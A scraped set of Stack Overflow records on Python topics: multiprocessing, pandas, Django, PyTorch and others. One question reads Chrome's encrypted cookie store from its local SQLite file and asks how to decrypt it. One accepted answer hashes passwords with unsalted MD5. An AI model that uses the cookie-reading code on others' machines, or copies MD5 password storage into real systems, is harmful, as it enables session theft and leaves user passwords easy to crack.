has body: I have a problem with multiprocessing to use more than 1 core. I didn't use .join() which waits the previous process to finish, i have a CPU with 4 cores and i still don't know why this code only uses %20 of the CPU, it supposed to use more than %50. import multiprocessing import time def f(x,y): global StartTime for ord1 in range(x): x *= 2 print(y, time.time()-StartTime) if __name__ == "__main__": input1 = 500000 StartTime = time.time() p1 = multiprocessing.Process(target=f(input1,1)) p2 = multiprocessing.Process(target=f(input1,2)) p3 = multiprocessing.Process(target=f(input1,3)) p4 = multiprocessing.Process(target=f(input1,4)) p1.start() p2.start() p3.start() p4.start() print("Done") I guess the program executes them one by one instead of parallel judging from the output: 1 5.373946189880371 2 10.663974285125732 3 15.902992725372314 4 21.29733967781067 Done So, my question is how do i use multiple cores and execute the code parallelly?
has answer: http://stackoverflow.com/a/49541453
type: UnansweredQuestion
downvote count: 0
answer count: 1
upvote count: 1
favorite count: 0
tagged with: multiprocessing
type: Question
has title: Python multiprocessing doesn't use more than 1 core
score: 1

http://stackoverflow.com/comment/86056657
comment on: http://stackoverflow.com/a/49504299
type: Comment
score: 0
type: AnswerComment
has text: what I'm very confused about is this, so when we get step_pk from url request we make it equal to pk which is a primary key of Text and we use the data from Text model? but then what's the difference between just pk and text_pk?

http://stackoverflow.com/comment/86206332
type: Comment
score: 0
has text: Where does XML come into this? Anyway - instead of writing after executing each query, why not build up a single dataframe of all queries, then write?
comment on: http://stackoverflow.com/q/49599566
type: QuestionComment

http://stackoverflow.com/comment/86038513
type: Comment
has text: Triple quoted string literal?
score: 4
type: QuestionComment
comment on: http://stackoverflow.com/q/49516592

http://stackoverflow.com/comment/86045008
score: 1
has text: It looks like you're on the right track. You might want to post your models and a sample of olddata.json to give us a better idea. The error you're getting is saying that you're trying to violate a unique constraint. That implies either: 1. your new models have a unique constraint/primary key set wrong or 2. your olddata.json has duplicate PK/unique data somehow (bad export, etc).
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49519653

http://stackoverflow.com/q/49492327
has comment: http://stackoverflow.com/comment/85990851
score: 1
accepted answer: http://stackoverflow.com/a/49751010
answer count: 1
downvote count: 0
upvote count: 1
has body: I have a problem, below is my root tree: In my root I have that: ---dir1---sub1(images exif time 10:05:05 to 10:09:55) ---sub2(images exif time 10:11:15 to 10:15:42) ---sub3(images exif time 10:22:15 to 10:24:41) ---sub4(images exif time 10:28:15 to 10:35:40) ---dir2---sub1(images exif time 10:05:06 to 10:09:57) ---sub2(images exif time 10:11:15 to 10:15:40) ---sub3(images exif time 10:22:15 to 10:24:43) ---sub4(images exif time 10:28:15 to 10:35:40) ---sub5(images exif time 10:40:15 to 10:43:40) ---dir3---sub1(images exif time 10:05:05 to 10:09:54) ---sub2(images exif time 10:11:15 to 10:15:40) ---sub3(images exif time 10:22:15 to 10:24:41) ---sub4(images exif time 10:28:15 to 10:35:40) ---sub5(images exif time 10:40:15 to 10:43:42) ---dir4---sub1(images exif time 10:05:06 to 10:09:57) ---sub2(images exif time 10:11:15 to 10:15:40) ---sub3(images exif time 10:22:15 to 10:24:43) ---sub4(images exif time 10:28:15 to 10:35:40) ---sub5(images exif time 10:40:15 to 10:43:40) ---dir5---sub1(images exif time 10:05:05 to 10:09:54) ---sub2(images exif time 10:11:15 to 10:15:40) ---sub3(images exif time 10:22:15 to 10:24:41) ---sub4(images exif time 10:28:15 to 10:35:40) ---sub5(images exif time 10:40:15 to 10:43:42) I have 5 dirs in my root and each contains sub-folders(with images) number of sub-folders it's not a same all the time, What I want to do is from first - dir1 get sub1 and put it to new destination folder after go to next dir (dir2) scan sub-folders to check exif(time) if its a same as sub1 from dir1 and copy it to same directory after go to next dir3 and do same for all others dir-s and subfolders, and after create newdir2 go and take sub2 from dir1 and do again same loop till end... something like: ---newdir1---sub1(from dir1) ---sub1(from dir2) ---sub1(from dir3) ---sub1(from dir4) ---sub1(from dir5) ---newdir2---sub2(from dir1) ---sub2(from dir2) ---sub2(from dir3) ---sub2(from dir4) ---sub2(from dir5) ---newdir3---sub3(from dir1) ---sub3(from dir2) ---sub3(…
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86194212
has comment: http://stackoverflow.com/comment/86515390
has comment: http://stackoverflow.com/comment/86515745
has comment: http://stackoverflow.com/comment/86511955
has title: Copy images with EXIF(time) to new destination from several directories
has comment: http://stackoverflow.com/comment/85993657
has comment: http://stackoverflow.com/comment/85989863
tagged with: python
tagged with: gopro
has answer: http://stackoverflow.com/a/49751010
tagged with: image
has comment: http://stackoverflow.com/comment/86512443
has comment: http://stackoverflow.com/comment/86512471
has comment: http://stackoverflow.com/comment/86029102
type: AnsweredQuestion
tagged with: exif
has comment: http://stackoverflow.com/comment/86515473
has comment: http://stackoverflow.com/comment/86514993

http://stackoverflow.com/q/49554443
accepted answer: http://stackoverflow.com/a/49554610
has title: platform.linux_distribution() deprecated - what are the alternatives?
has comment: http://stackoverflow.com/comment/86116561
downvote count: 0
possible better answer: http://stackoverflow.com/a/59023857
upvote count: 23
has answer: http://stackoverflow.com/a/59023857
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/86116292
tagged with: linux
has body: As of Python 3.5 platform.linux_distribution() is deprecated and it's planned to be removed from Python 3.7. Is there anything I could uses instead of platform.linux_distribution()? platform.uname() doesn't yield the information I need. I'm running the code in a Docker container and platform.uname() returns the details for the host machine, not the image. In particular, I'm building a portable Linux distribution and I want to test it on the canonical CentOS 5.11 distribution. I'm looking for a simple way to identify the OS to identify/tag the build results.
has answer: http://stackoverflow.com/a/49554610
tagged with: python
score: 23
has comment: http://stackoverflow.com/comment/86116214
favorite count: 0
type: Question
answer count: 2

http://stackoverflow.com/comment/86141946
comment on: http://stackoverflow.com/a/49566604
score: 0
type: Comment
type: AnswerComment
has text: @droooze I have never used numpy before, how would I proceed to split and do all the steps with 1280 gene sequences of 60 genes each. In the code above, they are currently in the genes array, with one sequence per row.

http://stackoverflow.com/comment/86081234
has text: As a sidenote; using your current method of a `subprocess` call, you may be able to get a working solution using `training_process.poll()` and `training_process.terminate()` (or `training_process.kill()`) but I still advice you to do a more thorough change.
type: Comment
comment on: http://stackoverflow.com/q/49525793
score: 0
type: QuestionComment

http://stackoverflow.com/comment/85969050
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49482969
has text: @abarnert I agree with you in this part, but the article says there are some advantages on framework design(Or structure)? I want to understand.
type: Comment

http://stackoverflow.com/comment/86093215
has text: To make a copy rather than a view you need `arr2 = arr1[:700,:,:,:].copy()`
type: Comment
comment on: http://stackoverflow.com/a/49542820
type: AnswerComment
score: 1

http://stackoverflow.com/q/49594858
has title: How does PyTorch module do the back prop
possible better answer: http://stackoverflow.com/a/49595311
favorite count: 0
accepted answer: http://stackoverflow.com/a/49596511
tagged with: python-3.x
has answer: http://stackoverflow.com/a/49595311
tagged with: pytorch
score: 9
type: Question
upvote count: 9
answer count: 2
downvote count: 0
tagged with: python
has answer: http://stackoverflow.com/a/49596511
type: AnsweredQuestion
has body: While following the instructions on extending PyTorch - adding a module, I noticed while extending Module, we don't really have to implement the backward function. The only thing we need is to apply the Function instance in the forward function and PyTorch can automatically call the backward one in the Function instance when doing the back prop. This seems like magic to me as we didn't even register the Function instance we used. I looked into the source code but didn't find anything related. Could anyone kindly point me out a place that all those actually happened?
tagged with: metaprogramming

binning
tags question: http://stackoverflow.com/q/49593015
type: Tag
tags question: http://stackoverflow.com/q/49500092
tag name: binning

http://stackoverflow.com/comment/86203184
comment on: http://stackoverflow.com/q/49504358
score: 0
has text: I'm just using those as examples of unit tests, I think I'll try omitting them and supplementing the code with a different package, or just leaving them out all together and see if that works
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/86194271
score: 0
type: Comment
has text: ...even finding and correcting this, I still am unable to have 20 objects moving towards target coords at anything over a snail's pace. Here's what I've written. Is this how limited pygame is, or am I still missing something? https://gist.github.com/rocket-pig/ee2c7efb37e176fda4423e41fd173f5a I even wrote it up to create .png files out of the bits of text as I thought that just moving Font objects around might be the barrier.
type: AnswerComment
comment on: http://stackoverflow.com/a/49593212

http://stackoverflow.com/q/49448517
has body: I'm trying to read the local cookies file for Google Chrome, which is located at C:\Users\usr\AppData\Local\Google\Chrome\User Data\Default\Cookies and can be read using sqlite3 in Python. I can then get the encrypted value in Python using sqlite3 by doing the following: import sqlite3 conn = sqlite3.connect(r'C:\Users\usr\AppData\Local\Google\Chrome\User Data\Default\Cookies') c = conn.cursor() c.execute("SELECT encrypted_value FROM 'cookies' WHERE name = &lt;some name&gt;") val = c.fetchall() The normal value for this cookie is a blank TEXT, and the encrypted_value is a BLOB data type. I was looking for what BLOB is and it looks like it's just a big binary piece of data that is encrypted. Looking more into this, I think I found that Chrome uses triple DES encryption. Is there any way I can decrypt this from my computer using Python?
linked to: http://stackoverflow.com/q/22532870
tagged with: python
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/85899021
answer count: 0
has comment: http://stackoverflow.com/comment/85898782
type: UnansweredQuestion
downvote count: 0
score: 1
upvote count: 1
tagged with: google-chrome
tagged with: tripledes
has title: How to read an encrypted Chrome cookie from local file
tagged with: cookies

http://stackoverflow.com/comment/86336549
comment on: http://stackoverflow.com/q/49460633
type: Comment
type: QuestionComment
score: 0
has text: did you resolve your issue?

http://stackoverflow.com/a/49502872
answers question: http://stackoverflow.com/q/49502732
has body: If I understand correctly: Given these 2 dataframes: import pandas as pd import numpy as np np.random.seed(42) df1=pd.DataFrame({'A':np.random.choice(list('abce'), 10)}) df2=pd.DataFrame({'B':list('abcd'), 'C':np.random.randn(4)}) &gt;&gt;&gt; df1 A 0 c 1 e 2 a 3 c 4 c 5 e 6 a 7 a 8 c 9 b &gt;&gt;&gt; df2 B C 0 a 0.279041 1 b 1.010515 2 c -0.580878 3 d -0.525170 You can achieve what you want using a merge: new_df = df1.merge(df2, left_on='A', right_on='B', how='left').fillna(0)'A','C' And then just rename the columns: new_df.columns=['A', 'D'] &gt;&gt;&gt; new_df A D 0 c -0.580878 1 e 0.000000 2 a 0.279041 3 c -0.580878 4 c -0.580878 5 e 0.000000 6 a 0.279041 7 a 0.279041 8 c -0.580878 9 b 1.010515
score: 1
upvote count: 1
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/49502732
type: Answer

http://stackoverflow.com/a/49504656
type: Answer
has comment: http://stackoverflow.com/comment/86013502
score: 1
type: AcceptedAnswer
downvote count: 0
upvote count: 1
has body: You are not using InfoSerializer() serializer so, remove create() method from that, and change your views.py as below, class InfoViews(ModelViewSet): queryset = Info.objects.all() serializer_class = InfoSerializer lookup_field = 'id' def create(self, request, *args, **kwargs): serializer = InfoSerializer(request.data).data serializer.pop('created_time', None) passwd = serializer['password'] md5 = hashlib.md5() md5.update(passwd.encode('utf-8')) serializer['password'] = md5.hexdigest() Info.objects.create(**serializer) return JsonResponse({"data": "data"}) My Friendly Suggestion I don't think this is a good method to acheive so, So changes below will do better (I think so ;)) views.py class InfoViews(ModelViewSet): queryset = Info.objects.all() serializer_class = InfoSerializer lookup_field = 'id' serializer.py import hashlib class InfoSerializer(serializers.ModelSerializer): created_time = serializers.DateTimeField(required=False) def set_password(self, raw_pwd): md5 = hashlib.md5() md5.update(raw_pwd.encode('utf-8')) return md5.hexdigest() class Meta: model = Info fields = '__all__' def create(self, validated_data): validated_data['password'] = self.set_password(validated_data['password']) return super().create(validated_data) Update Alternative create() for serializer, def create(self, validated_data): validated_data['password'] = self.set_password(validated_data['password']) user = Info.objects.create( email=validated_data['email'], username=validated_data['username'], password=validated_data['password'] ) # you can avoid large number of assignment statements (as above) by simply calling "super()" method return user
answers question: http://stackoverflow.com/q/49504136
has comment: http://stackoverflow.com/comment/86013868
has comment: http://stackoverflow.com/comment/86013758
accepted answer of: http://stackoverflow.com/q/49504136

http://stackoverflow.com/comment/86081549
type: QuestionComment
comment on: http://stackoverflow.com/q/49536324
type: Comment
has text: I am so sorry,I will re-edit the question tomorrow and put the result on.Thank you for your comment.
score: 0

late-binding
type: Tag
tag name: late-binding
tags question: http://stackoverflow.com/q/49566944

http://stackoverflow.com/comment/85917447
comment on: http://stackoverflow.com/a/49457199
score: 0
type: Comment
type: AnswerComment
has text: If you know that you can control the output, then I'm confused about your question. Are you saying that you don't like the result of `str(d)`? That is, you don't like the result that the REPL prints?

http://stackoverflow.com/q/49466497
type: AnsweredQuestion
has title: what is the error in the itemclicked?
accepted answer: http://stackoverflow.com/a/49466809
score: 0
answer count: 1
tagged with: pyqt5
has body: i have a python that includes a list that handle the path of existing PDF FILES in the selected folder. what i want is to make the system print in the console the selected item when the user click on the item. so it must be connect to an itemclick event. i will appreciate any help. the system display this exception : this error occure 'NoneType' object has no attribute 'text' this is how i tried to make it : self.listWidgetPDFlist.itemClicked.... how to continue? create an empty list fileList=[] loop over the selected folder and add the matched item to the widgetList for root,dirs,files in os.walk(directory): for filename in files: if filename.endswith('.pdf'): t=os.path.join(directory,filename) print(t) #fileList.extend(t) fileList.append(t) # add the list into the listWidgetPDFlist self.listWidgetPDFlist.addItems(fileList) upon selection of an item make the system print in the console the current item self.listWidgetPDFlist.itemClicked(print(self.listWidgetPDFlist.currentItem().text())) the problem is in the above line of code
type: Question
tagged with: qlistwidget
has answer: http://stackoverflow.com/a/49466809
tagged with: python

http://stackoverflow.com/q/49556507
answer count: 2
possible better answer: http://stackoverflow.com/a/49556789
downvote count: 0
has title: Pandas pivot table error
has answer: http://stackoverflow.com/a/49556789
tagged with: python
has comment: http://stackoverflow.com/comment/86120694
type: AnsweredQuestion
tagged with: pandas
score: 1
has body: Following code gives Code: table_channel = pd.pivot_table(data=df,values = 'Category',index = ['ID'], aggfunc='count') Output: ID Category 1 2 2 11 3 5 4 3 Right now it's giving total count of different categories of Category column. Need output like: ID Category1 Category2 Category3 1 0 1 1 2 5 4 2 and so on I used this code to rectify but it did not work: table_channel = pd.pivot_table(df,values = 'Category',columns = 'Category',index = ['ID'], aggfunc='count') Error is that grouper for Category not 1 dimensional. What is wrong?
upvote count: 1
accepted answer: http://stackoverflow.com/a/49556829
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/49556829
has comment: http://stackoverflow.com/comment/86120684

http://stackoverflow.com/comment/86194534
score: 0
type: Comment
has text: You were right. After I added `t_webApp.setDaemon(True)`, it exited properly. I hope it does not leave any "ghost" processes behind. Thank you.
type: AnswerComment
comment on: http://stackoverflow.com/a/49482036

http://stackoverflow.com/q/49532879
has answer: http://stackoverflow.com/a/51674453
possible better answer: http://stackoverflow.com/a/51674453
downvote count: 0
has comment: http://stackoverflow.com/comment/86072219
upvote count: 7
favorite count: 0
type: AnsweredQuestion
has body: I am working on a script that fetches a zip file from a URL using tje request library. That zip file contains a csv file. I'm trying to read that csv file without saving it. But while parsing it's giving me this error: _csv.Error: iterator should return strings, not bytes (did you open the file in text mode?) import csv import requests from io import BytesIO, StringIO from zipfile import ZipFile response = requests.get(url) zip_file = ZipFile(BytesIO(response.content)) files = zip_file.namelist() with zip_file.open(files[0]) as csvfile: csvreader = csv.reader(csvfile) # _csv.Error: iterator should return strings, not bytes (did you open the file in text mode?) for row in csvreader: print(row)
score: 7
has answer: http://stackoverflow.com/a/49533222
accepted answer: http://stackoverflow.com/a/49533222
tagged with: python
has comment: http://stackoverflow.com/comment/86072187
type: Question
tagged with: http://stackoverflow.com/tag/zip
has title: Open file from zip without extracting it in Python?
answer count: 2
linked to: http://stackoverflow.com/q/10509753

http://stackoverflow.com/q/49535937
answer count: 0
tagged with: out-of-memory
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86081922
tagged with: python
has comment: http://stackoverflow.com/comment/86079506
score: 0
has comment: http://stackoverflow.com/comment/86078555
has body: Let's imagine that we download a huge data from the Internet using python code. And we are not able to fit it in memory. Are there exists some solution in python to download to some buffer (of fixed size, let say 1 MB) and flush to file on disk in case of overfilling ? Generally, how to resolve it in python ? When it comes to exact use case I mean retrieving data from database using existing client for python. The aim for data is file.
has title: Retrieving huge data in python to file - out of memory
type: Question
tagged with: buffer

http://stackoverflow.com/q/49572186
linked to: http://stackoverflow.com/q/3803581
type: Question
tagged with: jenkins
has title: Parameters passed to jenkins job are not updated on slave machine
tagged with: python
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/49572833
has answer: http://stackoverflow.com/a/49572833
tagged with: environment-variables
score: 0
answer count: 1
has body: So, I have got a Jenkins job which is a parameterized build. I allow the users to select one of the environments where they want to execute the build. This parameter is stored in variable ${my_env}. Then I use "Execute Windows Batch Command" component in Job's configuration to execute the following command : setx /M envi %my_env% This allows me to set the environment variable on my windows slave machine as envi=my_env. Now I have my project on this slave machine which is python based, and I fetch the environment variable in my project using os.environ['envi'] and execute the code further accordingly based on the value of 'envi'. Problem is when I first execute this job, it is all fine. It fetches the correct value of environment variable 'envi' and execute the correct code as per the environment selected. But when I execute it second time choosing the different environment from build parameters, it does not update in my project and it picks the old value of environment variable 'envi'. I have verified that the actual value of environment is updated using the Setx command, but my python project still fetches the old value. Any ideas anyone?
tagged with: hudson

http://stackoverflow.com/comment/137093904
score: 0
type: Comment
comment on: http://stackoverflow.com/q/49499903
type: QuestionComment
has text: I dont know about the format of the output csv-file in this case, but an exported CAN trace is not a csv, but a collection of tables (csv-files). One for each message and the signals in the message are the columns. Many libraries (like asammdf) "hide" this and for example interpolate missing values which is not necessarily what you want. I would be interested in a complete answer using `can.logconvert`.

http://stackoverflow.com/comment/86066838
score: 2
type: QuestionComment
comment on: http://stackoverflow.com/q/49530357
type: Comment
has text: In that case the integers are the keys, try `dict([(set(),1)])`

http://stackoverflow.com/comment/85934747
has text: That does not work, tuple has no `__init__` method so you call `object.__init__` and that takes no argument. In that case, `__new__` is exactly what should be called.
type: AnswerComment
comment on: http://stackoverflow.com/a/49465904
score: 2
type: Comment

http://stackoverflow.com/a/49518299
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/49518114
downvote count: 1
accepted answer of: http://stackoverflow.com/q/49518114
has body: You can use \B&amp;&amp;\B. \b is for word boundary and \B is for not a word boundary. And as mentioned by @anubhava, &amp;&amp; is not a word but 2 individual characters. so \B&amp;&amp;\B should work fine.
has comment: http://stackoverflow.com/comment/86042332
score: 2
has comment: http://stackoverflow.com/comment/86042594
has comment: http://stackoverflow.com/comment/86045321
type: Answer
upvote count: 3

http://stackoverflow.com/q/49503762
score: 0
has body: I have been struggling with this for a few days now. I am trying to convert an html template in django to a pdf. I have got this part down using both reportlab and xhtml2pdf in seperate instances, but have not been able to get the images to convert with either option. With xhtml2pdf I keep getting the error 'Warning: needs a valid file name! the file name being a url such as /home/products/2312312 Please if you know how I can achieve this I would GREATLY appreciate your help!!
answer count: 1
has comment: http://stackoverflow.com/comment/92510666
has title: How to convert html template (with images) to pdf?
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/86014523
type: UnansweredQuestion
tagged with: django
tagged with: python
tagged with: python-2.7
tagged with: django-templates
has answer: http://stackoverflow.com/a/49504758

http://stackoverflow.com/comment/87555143
score: 0
type: Comment
has text: @Gamer1337 your comment is also correct in case of python3.5
comment on: http://stackoverflow.com/a/49661400
type: AnswerComment

http://stackoverflow.com/q/49590561
has answer: http://stackoverflow.com/a/49590694
has comment: http://stackoverflow.com/comment/86189147
has comment: http://stackoverflow.com/comment/86189126
has title: Multi-threading In Python to open more than thousand of urls and processing them faster
has comment: http://stackoverflow.com/comment/86188939
downvote count: 0
score: 1
upvote count: 1
has body: I have wrote a python script to open arround 1k urls and process them to get the desired result,but it seems like eventhough multithreading has been introduced its working slowly, and after some urls have been processed,the process seems to be hanged, I am not able to decide whether its still running or stopped.How can I create multiple threads to process them faster.Any help will be highly appreciated.Thanks in Advance. Below is my script. import threading from multiprocessing.pool import ThreadPool from selenium import webdriver from selenium.webdriver.phantomjs.service import Service from selenium.webdriver.common.desired_capabilities import DesiredCapabilities from selenium.webdriver.remote.webdriver import WebDriver as RemoteWebDriver from multiprocessing.dummy import Pool # This is a thread-based Pool from multiprocessing import cpu_count import csv def fetch_url(url): driver = webdriver.PhantomJS() driver.get(url) html = driver.page_source print(html) print("'%s\' fetched in %ss" % (url[0], (time.time() - start))) def thread_task(lock,data_set): lock.acquire() fetch_url(url) lock.release() if __name__ == "__main__": data_set = [] with open('file.csv', 'r') as csvfile: spamreader = csv.reader(csvfile, delimiter=' ', quotechar='|') for row in spamreader: data_set.append(row) lock = threading.Lock() # data set will contain a list of 1k urls for url in data_set: t1 = threading.Thread(target=thread_task, args=(lock,url,)) # start threads t1.start() # wait until threads finish their job t1.join() print("Elapsed Time: %s" % (time.time() - start))
tagged with: multithreading
answer count: 1
favorite count: 0
type: Question
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86189014
tagged with: python

http://stackoverflow.com/q/49498793
answer count: 2
possible better answer: http://stackoverflow.com/a/49499200
has comment: http://stackoverflow.com/comment/86001859
has answer: http://stackoverflow.com/a/49499198
accepted answer: http://stackoverflow.com/a/49499198
has comment: http://stackoverflow.com/comment/86001946
tagged with: python
tagged with: python-3.6
tagged with: class
type: AnsweredQuestion
upvote count: 3
score: 0
downvote count: 3
has comment: http://stackoverflow.com/comment/86003069
has body: I have the following basic class involving a circle. My question is, when I directly update the diameter with c.diameter(10), how come the radius is updated to 5? As the output shows, it is still at 4: from math import pi class Circle: def __init__(self, radius=1): self.radius = radius self.diameter = self.radius * 2 def diameter(self, diameter): self.diameter = diameter self.radius = self.diameter / 2 return self.radius, self.diameter def area(self): return self.radius ** 2 * pi c = Circle(3) print("c.radius:", c.radius) print("c.area():", c.area()) c.radius = 4 # change radius print("c.radius:", c.radius) print("c.area():", c.area()) c.diameter = 10 # change diameter print("c.diameter:", c.diameter) print("c.radius:", c.radius) Output: c.radius: 3 c.area(): 28.274333882308138 c.radius: 4 c.area(): 50.26548245743669 c.diameter: 10 c.radius: 4 &lt;--- Radius should be 5, since the Radius is Diameter / 2
has title: Class variable not updating
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86001535
has comment: http://stackoverflow.com/comment/86001769
has answer: http://stackoverflow.com/a/49499200

http://stackoverflow.com/comment/86071269
score: 0
has text: This is how the expected output should look, (just one line has been done by me for sample): https://drive.google.com/file/d/1dB7II4ItF-p4lwthEwoHYkL2g5Co6X-v/view?usp=sharing
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49531780

event-handling
tag name: event-handling
type: Tag
tags question: http://stackoverflow.com/q/49592304

http://stackoverflow.com/comment/85989591
type: AnswerComment
comment on: http://stackoverflow.com/a/49486907
has text: Thanks for the reply. I have a problem making the code run in parallel: `LayerState = minimize_nested_blockmodel_dl(g,layers=True, deg_corr=True, state_args=dict(ec=g.edge_properties["weight"], layers=True)) mcmc_equilibrate(LayerState, wait=1000, mcmc_args=dict( niter=10))` How could I make `mcmc_equilibrate` working in parallel?
score: 0
type: Comment

http://stackoverflow.com/comment/85887791
score: 0
has text: Last question: is there an easy way to assign the string names from my list of 8 to be the dataframe names? So instead of d1, d2, d3, d4, d5, d6, d7, d8, *therest = (v for k, v in original_df.groupby('PAGE_NAME'))..., it would be something like Demographics_df, SummaryMeasuresOfHealth_df, LeadingCausesOfDeath_df, MeasuresOfBirthAndDeath_df, RelativeHealthImportance_df, VunerablePopsAndEnvHealth_df, PreventiveServicesUse_df, RiskFactorsAndAccessToCare_df, *therest = = (v for k, v in original_df.groupby('PAGE_NAME'))
type: Comment
comment on: http://stackoverflow.com/a/49442676
type: AnswerComment

http://stackoverflow.com/comment/86097127
comment on: http://stackoverflow.com/q/49544589
score: 1
type: Comment
has text: You are not asking a specific question. What is wrong with the code? Are you getting error messages? Are you failing tests? Do you have any inputs that don't give you the expected outputs? [Clarify what exactly you're asking](https://stackoverflow.com/help/how-to-ask)
type: QuestionComment

featuretools
tag name: featuretools
type: Tag
tags question: http://stackoverflow.com/q/49556680

http://stackoverflow.com/comment/86170550
type: Comment
type: QuestionComment
has text: Use libc. https://stackoverflow.com/questions/11022571/when-using-ctypes-libc-strlen-always-returning-1
score: 0
comment on: http://stackoverflow.com/q/49581168

numpy-ndarray
tag name: numpy-ndarray
tags question: http://stackoverflow.com/q/49472770
tags question: http://stackoverflow.com/q/49474782
tags question: http://stackoverflow.com/q/49491057
type: Tag
tags question: http://stackoverflow.com/q/49462760

http://stackoverflow.com/q/49480930
has comment: http://stackoverflow.com/comment/86016733
tagged with: google-calendar-api
has title: Django server RW access to self owned google calendar?
tagged with: django
tagged with: python
linked to: http://stackoverflow.com/q/37754999
score: 0
tagged with: service-accounts
answer count: 1
has body: In a django application, I try to have RW access to a google calendar which I own myself. Tried several ways with a service account &amp; client secrets, but all resulting in authentication errors. The API explorer works, but it requests consent in a popup window, which is obviously not acceptable. Documentation on google OAuth2 describes several scenarios. Probably "web server application" applies here? It says: "The authorization sequence begins when your application redirects a browser to a Google URL; the URL includes query parameters that indicate the type of access being requested. Google handles the user authentication, session selection, and user consent. The result is an authorization code, which the application can exchange for an access token and a refresh token." Again, we do not want a browser redirection, we want direct access to the google calendar. So question is: how can a django server access a google calendar, on which I have full rights, view events and add events using a simple server stored key or similar mechanism?
has comment: http://stackoverflow.com/comment/86016870
has answer: http://stackoverflow.com/a/49517454
type: Question
has comment: http://stackoverflow.com/comment/86039403
has comment: http://stackoverflow.com/comment/86016968
has comment: http://stackoverflow.com/comment/85971906
tagged with: google-api
type: UnansweredQuestion

http://stackoverflow.com/q/49551138
has answer: http://stackoverflow.com/a/49676084
upvote count: 1
tagged with: rasa-nlu
accepted answer: http://stackoverflow.com/a/49676084
score: -1
tagged with: nlp
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/86363274
has answer: http://stackoverflow.com/a/49553333
possible better answer: http://stackoverflow.com/a/49553333
tagged with: chatbot
answer count: 2
has comment: http://stackoverflow.com/comment/86120772
linked to: http://stackoverflow.com/q/48687375
downvote count: 2
tagged with: python
has title: Anaconda3 DeprecationWarning
linked to: http://stackoverflow.com/q/49545947
has body: I'm training data on anaconda3 to make chatbot with rasa.com and spacy + sklearn. While in training even came out like this, I know this does not cause errors, but it is quite disturbing for me. Why can it appear like this? and how to eliminate it? C:\Program Files\Anaconda3\lib\site-packages\sklearn\preprocessing\label.py:151: DeprecationWarning: The truth value of an empty array is ambiguous. Returning False, but in future this will result in an error. Use `array.size &gt; 0` to check that an array is not empty.
type: AnsweredQuestion
tagged with: anaconda

http://stackoverflow.com/comment/86277947
type: Comment
has text: @Roma `path()` is new in Django 2.0. In earlier versions the code above won't work, you've got to use `url()` instead.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49588000

random
tags question: http://stackoverflow.com/q/49566391
tags question: http://stackoverflow.com/q/49549266
tags question: http://stackoverflow.com/q/49565327
tags question: http://stackoverflow.com/q/49599350
tags question: http://stackoverflow.com/q/49514595
tags question: http://stackoverflow.com/q/49492173
tags question: http://stackoverflow.com/q/49555991
tags question: http://stackoverflow.com/q/49554468
tags question: http://stackoverflow.com/q/49482480
tags question: http://stackoverflow.com/q/49461230
tag name: random
tags question: http://stackoverflow.com/q/49592208
tags question: http://stackoverflow.com/q/49495273
tags question: http://stackoverflow.com/q/49505366
tags question: http://stackoverflow.com/q/49492911
tags question: http://stackoverflow.com/q/49497544
tags question: http://stackoverflow.com/q/49457290
tags question: http://stackoverflow.com/q/49567998
type: Tag
tags question: http://stackoverflow.com/q/49577305
tags question: http://stackoverflow.com/q/49597473
tags question: http://stackoverflow.com/q/49445988
tags question: http://stackoverflow.com/q/49544544
tags question: http://stackoverflow.com/q/49496794
tags question: http://stackoverflow.com/q/49467278
tags question: http://stackoverflow.com/q/49497990
tags question: http://stackoverflow.com/q/49452755
tags question: http://stackoverflow.com/q/49500395
tags question: http://stackoverflow.com/q/49478029

http://stackoverflow.com/q/49535966
has title: What is the pythonic way of collapsing values into a set for multiple columns per each group in pandas dataframes?
has body: Given a dataframe, collapsing values into a set per group for a column is straightforward: df.groupby('A')['B'].apply(set) But how do you do it in a pythonic way if you want to do it on multiple columns and the result to be in a dataframe? For example for the following dataframe: import pandas as pd df = pd.DataFrame({'user_id': [1, 2, 3, 4, 1, 2, 3], 'class_type': ['Krav Maga', 'Yoga', 'Ju-jitsu', 'Krav Maga', 'Ju-jitsu','Krav Maga', 'Karate'], 'instructor': ['Bob', 'Alice','Bob', 'Alice','Alice', 'Alice','Bob']}) The result wanted is the data frame below produced in a pythonic way: |user_id|class_type |instructor | |-------|-----------------------|---------------| | 1 | {Krav Maga, Ju-jitsu} | {Bob, Alice} | | 2 | {Krav Maga, Yoga} | {Alice} | | 3 | {Karate, Ju-jitsu} | {Bob} | | 4 | {Krav Maga} | {Alice} | This is a dummy example. The question spurred from: "what if I have a table with 30 columns and I want to achieve this in a pythonic way?" Currently I have a solution but I don't think is the best way to do it: df'grouped_B', 'grouped_C' = df.groupby('A')'B','C'.transform(set) deduped_and_collapsed_df = df.groupby('A')'A','grouped_B', 'grouped_C'.head(1) Thank you in advance!
has answer: http://stackoverflow.com/a/49536025
type: Question
linked to: http://stackoverflow.com/q/49537057
type: AnsweredQuestion
tagged with: pandas-groupby
tagged with: pandas
tagged with: python
has answer: http://stackoverflow.com/a/49536348
possible better answer: http://stackoverflow.com/a/49536348
favorite count: 0
accepted answer: http://stackoverflow.com/a/49536025
score: 2
upvote count: 2
answer count: 2
downvote count: 0

http://stackoverflow.com/a/49542610
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/49542576
has body: Create a new list, in the same order as list2 that just contains the names. Then you can sort list1 based on the first element in each list (the name)'s index in that names list: names = [l[0] for l in list1] list2.sort(key=lambda l: names.index(l[0])) #[['name1', -1], ['name2', 1], ['name3', 0]]
has comment: http://stackoverflow.com/comment/86092934
upvote count: 3
has comment: http://stackoverflow.com/comment/86092778
